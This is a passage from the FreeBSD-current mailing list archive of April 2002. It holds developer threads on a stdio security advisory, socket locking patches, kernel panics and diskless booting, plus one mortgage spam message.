List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --7JfCtLOvnd9MIVvH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote: > Have a nice day! >=20 > Yesterday I received that message from one of linux guys: Perhaps you should read the security advisories we release. Kris --7JfCtLOvnd9MIVvH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8x8MAWry0BWjoQKURArwFAKC/JOL9RX5HMrQhg+b/fZ9hTdRDqACghvl9 u73d2a0tqIZgbKWBtKVtae4= =bssY -----END PGP SIGNATURE----- --7JfCtLOvnd9MIVvH-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 1:58:17 2002 Delivered-To: freebsd-current@freebsd.org Received: from gate.uai.etel.ru (gate.uai.etel.ru [195.38.57.243]) by hub.freebsd.org (Postfix) with ESMTP id 7D04F37B423 for ; Thu, 25 Apr 2002 01:58:10 -0700 (PDT) Received: by sendmail of gate.uai.etel.ru id g3P8wB526712 for ; Thu, 25 Apr 2002 14:58:11 +0600 X-Authentication-Warning: gate.uai.etel.ru: smap set sender to using -f Received: from by gate.uai.etel.ru via smap (V2.1) id xma026479; Thu, 25 Apr 02 14:56:09 +0600 Received: by sendmail with ESMTP id g3P8u75H027563 from vlad@telecom.ural.ru for ; Thu, 25 Apr 2002 14:56:07 +0600 Received: by sendmail id g3P8u7e5027562 for freebsd-current@FreeBSD.ORG.KAV; Thu, 25 Apr 2002 14:56:07 +0600 Received: by sendmail with ESMTP id g3P8u65H027527; Thu, 25 Apr 2002 14:56:06 +0600 Date: Thu, 25 Apr 2002 14:56:26 +0600 From: "Vladimir G. Drobyshevsky" X-Mailer: The Bat! (v1.60c) UNREG / CD5BF9353B3B7091 Reply-To: "Vladimir G. Drobyshevsky" Organization: Computer saloons "TelescOp" X-Priority: 3 (Normal) Message-ID: <12411660546.20020425145626@telecom.ural.ru> To: owner-freebsd-current@FreeBSD.ORG, Cedric Ware Cc: freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re[2]: FreeBSD security hole? In-Reply-To: <20020425103627.A14146@enst.fr> References: <129604079.20020425142210@telecom.ural.ru> <20020425103627.A14146@enst.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all! >> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE >> decided to make a trivial exploit to easily get root :) CW> Indeed, see security advisory FreeBSD-SA-02:23.stdio at: CW> ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc CW> Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). That's really strange - I subscribed to freebsd-security-notifications, but didn't receved that message. Or just readed it by Delete key. ;-) Anyway, thank you for your help. -- Best regards, Vl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 2: 1:57 2002 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 250C737B400; Thu, 25 Apr 2002 02:01:53 -0700 (PDT) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-rina.r-Nankai-Koya) with ESMTP id g3P91p0o027325 ; Thu, 25 Apr 2002 18:01:51 +0900 (JST) Message-Id: <200204250901.g3P91p0o027325@rina.r.dl.itc.u-tokyo.ac.jp> Date: Thu, 25 Apr 2002 18:01:51 +0900 From: Seigo Tanimura To: Alfred Perlstein Cc: Seigo Tanimura , John Baldwin , smp@FreeBSD.org, current@FreeBSD.org Subject: Re: Locking down a socket, milestone 1 In-Reply-To: <20020425083644.GM38320@elvis.mu.org> References: <200204241110.g3OB8u8t006194@bunko> <200204250819.g3P8J00o013784@rina.r.dl.itc.u-tokyo.ac.jp> <20020425083644.GM38320@elvis.mu.org> User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.3 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 25 Apr 2002 01:36:44 -0700, Alfred Perlstein said: bright> * Seigo Tanimura [020425 01:19] wrote: >> >> >> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz >> >> bright> Why is there a "sigio" lock in this delta? I should have stripped that out, but my patch would result in lock order reversal between a socket lock and a process lock. As we protect p_fd by a process lock, we have to lock it prior to locking a file descriptor or a socket. I suppose I have to commit the stripped patch of a sigio lock first. Speaking of the sigio lock, is that likely to apply to a pipe as well? -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 2:59:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id DAC8C37B41F for ; Thu, 25 Apr 2002 02:59:06 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g3P9x5433044 for ; Thu, 25 Apr 2002 18:59:05 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 24 From: Makoto Matsushita To: current@FreeBSD.org Subject: PPPoE using aue ethernet goes kernel panic Date: Thu, 25 Apr 2002 18:59:03 +0900 Message-Id: <20020425185903E.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Following are observed with 5-current kernel as of Apr/25/2002. Fatal trap 12: page fault while in kernel mode fault virtual address = 0x6 fault code = supervisor read, page not present instruction pointer = 0x8:0xc01898d1 stack pointer = 0x10:0xc9476b24 frame pointer = 0x10:0xc9476b40 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 136 (ppp) trap number = 12 panic: page fault I'm subscribing NTT's ADSL line, and using 'aue' USB ethernet for PPPoE device. The kernel boots fine, detecting my aue0, but while /etc/rc is running, kernel panics. I must provide more detailed information, but here's quick report. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 3:26:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id A375C37B400 for ; Thu, 25 Apr 2002 03:26:55 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g3PAQs435653 for ; Thu, 25 Apr 2002 19:26:54 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <20020425185903E.matusita@jp.FreeBSD.org> References: <20020425185903E.matusita@jp.FreeBSD.org> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 13 From: Makoto Matsushita To: current@FreeBSD.org Subject: Re: PPPoE using aue ethernet goes kernel panic Date: Thu, 25 Apr 2002 19:26:52 +0900 Message-Id: <20020425192652F.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG matusita> I must provide more detailed information, but here's quick report. Using trace command, this panic is caused by: usbd_open_pipe_ival(c40416e0, 1, c8148858, ffffffff) at usbd_open_pipe_ival+0x1d usbd_open_pipe(c40416e0, 81, 1, c8148858, c40769c0, c8148880, 2, 1, c8148880, 2) at usbd_open_pipe+0x1a aue_init(...) (this is by hand copy, so it may have some typos). -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 3:40:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id 8B1A537B446 for ; Thu, 25 Apr 2002 03:40:08 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020425104007.LJTM91.rwcrmhc52.attbi.com@InterJet.elischer.org> for ; Thu, 25 Apr 2002 10:40:08 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id DAA42020 for ; Thu, 25 Apr 2002 03:35:12 -0700 (PDT) Date: Thu, 25 Apr 2002 03:35:10 -0700 (PDT) From: Julian Elischer To: FreeBSD current users Subject: linux broken? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG after a complete resup, re-checkout and recompile.... on trying to load the linux module: link_elf: symbol semop undefined Anyone have a quick fix? julian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 7: 4:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from arg1.demon.co.uk (arg1.demon.co.uk [62.49.12.213]) by hub.freebsd.org (Postfix) with ESMTP id 121BF37B42C; Thu, 25 Apr 2002 07:04:26 -0700 (PDT) Received: by arg1.demon.co.uk (Postfix, from userid 1002) id C72679B30; Thu, 25 Apr 2002 15:04:24 +0100 (BST) Received: from localhost (localhost [127.0.0.1]) by arg1.demon.co.uk (Postfix) with ESMTP id C383A5D0C; Thu, 25 Apr 2002 15:04:24 +0100 (BST) Date: Thu, 25 Apr 2002 15:04:24 +0100 (BST) From: Andrew Gordon X-X-Sender: To: "M. Warner Losh" Cc: , , , , Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: <20020424.194518.59061982.imp@village.org> Message-ID: <20020425122309.V44100-100000@server.arg.sj.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002, M. Warner Losh wrote: > In message: <20020423094628.A85404@dragon.nuxi.com> > "David O'Brien" writes: > : On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: > : > diskless_root_readonly="NO" # Make it "YES" for readonly > : > : good. > > What's wrong with the current root_rw_mount knob? It works just fine. The original complaint was that Danny's patches _assume_ that the root is going to remain R/O and just provide two ways of populating the MFS /etc, rather than allowing for the case where the MFS /etc isn't required at all. (actually, this is just reversing a recent obrien improvement to rc.diskless1 that made the MFS /etc conditional - it's still automatic in -stable and has been for a long while). There isn't a problem with controlling the root mount; diskless_root_readonly is a solution to a non-problem. The real problem is that (in the case where you want it) there is no one good way of constructing the MFS /etc - there are lots of bad ways, various of which have been committed to rc.diskless1 at different times, and still more used privately: 1) Create an MFS mounted on an arbitrary mountpoint, then use mount_null to install it over /etc when it's been populated. This was the original version when the support for read-only root appeared in rc.diskless back in 1999 (3.2-RELEASE). Gave problems because null mounts didn't (still don't?) work very well - mmap() caused panic for example. 2) Copy the files out of /etc into /tmp, then mount the MFS directly on /etc and copy the files back again. This appeared in 2001 (4.3-RELEASE) 3) Avoid the double copy on each boot by requiring the administrator to keep a copy in /conf/default/etc that can be copied directly to an MFS mounted on /etc. This appeared a couple of months later (4.4-RELEASE). 4) Small performance improvement on 3) - use a gzipped CPIO archive if available, rather than copying lots of small files which can be slow over NFS. This has just recently been committed to -stable by Luigi. 5) Danny's solution: Mount the MFS on /conf/etc, then use unionfs mounts to install it over /etc. Does unionfs work any better than mount_null? 6) My solution: Mount a second instance of the root FS on /conf/default then copy as in 3). Avoids maintaining two copies of /etc, but only works on NFS and doesn't solve the performance problem. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 7:45: 8 2002 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (cvsup2.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 6F02737B422; Thu, 25 Apr 2002 07:45:01 -0700 (PDT) Received: from silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp [IPv6:3ffe:b80:5b0:3:280:c8ff:fe6b:6d73]) by rina.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-rina.r-Nankai-Koya) with ESMTP id g3PEio0o064224 ; Thu, 25 Apr 2002 23:44:51 +0900 (JST) Received: from silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.12.2/3.7W-carrots-Keikyu-Kurihama) with ESMTP id g3PEhTX5017744 ; Thu, 25 Apr 2002 23:44:50 +0900 (JST) Message-Id: <200204251444.g3PEhTX5017744@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Date: Thu, 25 Apr 2002 23:43:29 +0900 From: Seigo Tanimura To: Alfred Perlstein Cc: Seigo Tanimura , John Baldwin , smp@FreeBSD.org, current@FreeBSD.org Subject: A sigio lock (was: Re: Locking down a socket, milestone 1) In-Reply-To: <200204250901.g3P91p0o027325@rina.r.dl.itc.u-tokyo.ac.jp> References: <200204241110.g3OB8u8t006194@bunko> <200204250819.g3P8J00o013784@rina.r.dl.itc.u-tokyo.ac.jp> <20020425083644.GM38320@elvis.mu.org> <200204250901.g3P91p0o027325@rina.r.dl.itc.u-tokyo.ac.jp> User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-1?Q?Unebigory=F2mae?=) APEL/10.3 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 25 Apr 2002 18:01:51 +0900, Seigo Tanimura said: Seigo> On Thu, 25 Apr 2002 01:36:44 -0700, Seigo> Alfred Perlstein said: bright> * Seigo Tanimura [020425 01:19] wrote: >>> >> >>> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz >>> >> bright> Why is there a "sigio" lock in this delta? Seigo> I should have stripped that out, but my patch would result in lock Seigo> order reversal between a socket lock and a process lock. As we Seigo> protect p_fd by a process lock, we have to lock it prior to locking a Seigo> file descriptor or a socket. Seigo> I suppose I have to commit the stripped patch of a sigio lock first. The patch of a sigio lock is not stripped out at: http://people.FreeBSD.org/~tanimura/patches/sigio.diff.gz -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 7:51: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from twigg.twigg.com.au (twiggp.lnk.telstra.net [139.130.213.214]) by hub.freebsd.org (Postfix) with ESMTP id 8CA9C37B405 for ; Thu, 25 Apr 2002 07:50:56 -0700 (PDT) Received: from mail.arabia.com (0-1pool45-34.nas4.stockton1.ca.us.da.qwest.net [65.139.45.34]) by twigg.twigg.com.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id JGX4HMBJ; Fri, 26 Apr 2002 00:49:51 +1000 Message-ID: <00005fca1dee$00004c1a$00003ac1@mail.arabia.com> To: From: "Cortney Dreifort" Subject: Cash Out Date: Thu, 25 Apr 2002 07:56:05 -1900 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Reply-To: shay001@qatarmail.com Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Don't be raped by high interest rates! http://211.91.3.16/cl5/index.php Some types of rates start under 5% Fed will most likly begin to raise rates soon. Take 2 minutes for a FREE Quote! http://211.91.3.16/cl5/index.php Mortgage rates have NEVER been lower. Is your credit good? Get a loan beyond your wildest expectations! Your credit stinks? Lenders will still give you an absolutely amazing loan. Just click here and get started http://211.91.3.16/cl5/index.php For Removal just hit reply and put "REMOVE" in the subject line. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 8:17:48 2002 Delivered-To: freebsd-current@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id 3223737B41D; Thu, 25 Apr 2002 08:17:29 -0700 (PDT) Received: by leviathan.inethouston.net (Postfix, from userid 1001) id 93EEB319C8C; Thu, 25 Apr 2002 10:17:25 -0500 (CDT) Date: Thu, 25 Apr 2002 10:17:25 -0500 From: "David W. Chapman Jr." To: "Vladimir G. Drobyshevsky" Cc: owner-freebsd-current@FreeBSD.ORG, Cedric Ware , freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: FreeBSD security hole? Message-ID: <20020425151725.GA81618@leviathan.inethouston.net> Reply-To: "David W. Chapman Jr." Mail-Followup-To: "Vladimir G. Drobyshevsky" , owner-freebsd-current@FreeBSD.ORG, Cedric Ware , freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG References: <129604079.20020425142210@telecom.ural.ru> <20020425103627.A14146@enst.fr> <12411660546.20020425145626@telecom.ural.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <12411660546.20020425145626@telecom.ural.ru> User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Apr 25, 2002 at 02:56:26PM +0600, Vladimir G. Drobyshevsky wrote: > Hello all! > > >> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE > >> decided to make a trivial exploit to easily get root :) > > CW> Indeed, see security advisory FreeBSD-SA-02:23.stdio at: > CW> ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc > CW> Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). > That's really strange - I subscribed to > freebsd-security-notifications, but didn't receved that message. Or > just readed it by Delete key. ;-) > > Anyway, thank you for your help. > It was on anounce as well for future reference. -- David W. Chapman Jr. dwcjr@inethouston.net Raintree Network Services, Inc. dwcjr@freebsd.org FreeBSD Committer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 8:23:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id D7B6037B41B for ; Thu, 25 Apr 2002 08:23:39 -0700 (PDT) Received: (qmail 11166 invoked from network); 25 Apr 2002 15:23:37 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 25 Apr 2002 15:23:37 -0000 Message-ID: <3CC81F78.70609@tenebras.com> Date: Thu, 25 Apr 2002 08:23:36 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kris Kennaway Cc: "Vladimir G. Drobyshevsky" , freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: FreeBSD security hole? References: <129604079.20020425142210@telecom.ural.ru> <20020425014905.A28082@xor.obsecurity.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris Kennaway wrote: > On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote: > >>Have a nice day! >> >> Yesterday I received that message from one of linux guys: > > > Perhaps you should read the security advisories we release. I never saw this, and thought I was subscribed to the security-announce list! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:11:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216]) by hub.freebsd.org (Postfix) with ESMTP id 94E6B37B429 for ; Thu, 25 Apr 2002 10:11:34 -0700 (PDT) Received: (qmail 805 invoked from network); 25 Apr 2002 17:11:32 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail16.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 17:11:32 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PHBVv11002; Thu, 25 Apr 2002 13:11:31 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020424224652.A284@hpdi.ath.cx> Date: Thu, 25 Apr 2002 13:10:40 -0400 (EDT) From: John Baldwin To: Hiten Pandya Subject: RE: Spin lock (?) problems with MUTEX_PROFILING Cc: current@FreeBSD.org, des@ofug.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24-Apr-2002 Hiten Pandya wrote: > Hi all, > > I am not generating a false alarm, but I compiled a fresh kernel > yesterday with the MUTEX_PROFILING option, and it just went haywire just > after the FreeBSD copyright messages and the build info: > > [ Copyright Info ] > [ Build Information ] > panic: spin lock mutex profiling lock not in order list > > I had no idea how to debug this, so I am sending it to the -current list > and cc'ing a copy to DES. I am also attaching my kernel configuration > file for reference purposes. This means WITNESS is broken with MUTEX_PROFIING (I guess they were never tested together without WITNESS_SKIPSPIN). The fix is for the MUTEX_PROFILING folks to add the spin lock into the spin lock order list in the proper location. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:12:13 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail17.speakeasy.net [216.254.0.217]) by hub.freebsd.org (Postfix) with ESMTP id A266037B43C for ; Thu, 25 Apr 2002 10:11:43 -0700 (PDT) Received: (qmail 31637 invoked from network); 25 Apr 2002 17:11:42 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail17.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 17:11:42 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PHBgv11006; Thu, 25 Apr 2002 13:11:42 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020425013922.A27152@xor.obsecurity.org> Date: Thu, 25 Apr 2002 13:10:50 -0400 (EDT) From: John Baldwin To: Kris Kennaway Subject: RE: 4 panics under 5.0 on ports cluster Cc: fs@FreeBSD.org, current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 25-Apr-2002 Kris Kennaway wrote: > panic: sleeping thread owns a mutex > Uptime: 8h52m59s > (kgdb) bt >#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 >#1 0xc0207cb0 in boot (howto=260) at >#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 >#2 0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex") > at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 >#3 0xc0200a35 in propagate_priority (td=0xcd23d400) > at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110 Can you go to this frame, then dump the contents of 'm' to find the misbehaving mutex? WITNESS should have warned about this but I guess getting people to run WITNESS is too much to ask. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:12:34 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail17.speakeasy.net [216.254.0.217]) by hub.freebsd.org (Postfix) with ESMTP id 31DC337B41A for ; Thu, 25 Apr 2002 10:11:49 -0700 (PDT) Received: (qmail 31680 invoked from network); 25 Apr 2002 17:11:48 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail17.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 17:11:48 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PHBmv11010; Thu, 25 Apr 2002 13:11:48 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 25 Apr 2002 13:10:57 -0400 (EDT) From: John Baldwin To: Julian Elischer Subject: RE: linux broken? Cc: FreeBSD current users Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 25-Apr-2002 Julian Elischer wrote: > > > after a complete resup, re-checkout and recompile.... > on trying to load the linux module: > > link_elf: symbol semop undefined > > > Anyone have a quick fix? kldload sysvipc.ko or compile the SYSV stuff into your kernel. Perhaps the linux kld needs to have a module dependency on the sysvipc modules? > julian -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:21:14 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 8B18837B427; Thu, 25 Apr 2002 10:21:07 -0700 (PDT) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id 